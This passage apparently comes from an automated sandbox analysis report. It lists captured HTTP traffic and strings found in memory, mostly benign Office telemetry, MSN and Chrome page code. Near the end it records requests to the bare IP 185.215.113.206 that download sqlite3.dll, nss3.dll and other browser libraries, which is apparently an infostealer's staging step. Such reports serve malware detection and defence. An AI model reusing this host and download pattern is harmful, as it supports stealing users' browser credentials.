Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=tyPY8Ol6snxgu8a&MD=F+xczMGs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log1.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log1.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log1.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.2268652149.00004604003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268555489.0000460400F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2268419301.0000460400F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
